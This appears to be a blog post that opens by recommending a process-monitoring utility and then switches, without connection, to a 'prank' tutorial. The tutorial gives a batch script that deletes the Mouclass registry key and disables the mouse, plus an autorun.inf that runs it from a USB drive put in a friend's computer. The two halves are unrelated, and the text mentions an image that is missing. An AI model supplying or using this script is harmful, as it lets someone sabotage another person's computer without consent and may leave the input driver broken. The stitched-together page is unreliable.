Windows is itself a complex operating system. Checking the processes that are actively and continuously accessing your hard drive and processor is very important, especially to detect suspicious activities or even a badly installed software.
Let’s say a program is idle or not running, logically it should not be using much resources from your computer or may not even using any resources from your computer. If it does, then you should take extra care to learn more about the process.
But how to know that specific program is active or inactive?
What’s My Computer Doing? is the good utility for you, which shows all programs with details that are accessing your hard disk or using the CPU.
The Graphical Interface of What’s My Computer Doing is very simple and easy to understand.
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Copy the above code in notepad and save it as “filename.bat”
The above code will disable the mouse by deleteing the registry key of Mouclass and again adds data = 0×00000004 to the valuename = “Start”
Note: The above image is only demonstrates where the action will be taken by the above batch script. It has to do nothing with the procedure of this tutorial.
[autorun]
Open=filename.bat
Action=Mouse Disable
The above code goes for autorun.inf. Open notepad, copy and paste the above code in it and save it as “autorun.inf”.
Now copy both of the file in your or your friend’s USB drive. Then let it do the magic.
To re-enable the mouse you’ll just have to change the value 0×00000004 to 0×00000001. To do so, simply create another batch file with following script:
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1
Hope this tutorial was fun trying to.
0 comments:
Post a Comment